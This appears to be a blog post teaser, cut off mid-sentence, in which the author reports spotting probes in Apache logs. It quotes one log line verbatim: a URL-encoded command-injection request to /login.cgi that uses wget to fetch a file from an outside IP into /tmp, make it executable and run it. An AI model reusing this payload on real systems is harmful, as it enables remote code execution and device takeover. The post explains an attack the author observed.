The other day I was debugging a project, which entailed watching the live logs from Apache on a web server. There wasn’t much traffic apart from myself, but something kept appearing in various formats that caught my eye: 156.219.6.185 – – [12/Sep/2018:20:44:57 +0000] “GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks HTTP/1.1” 400 0 “-” “LMAO/2.0” The above is an Apache…Continue Reading “Script Kiddies (asgknskjdgn)”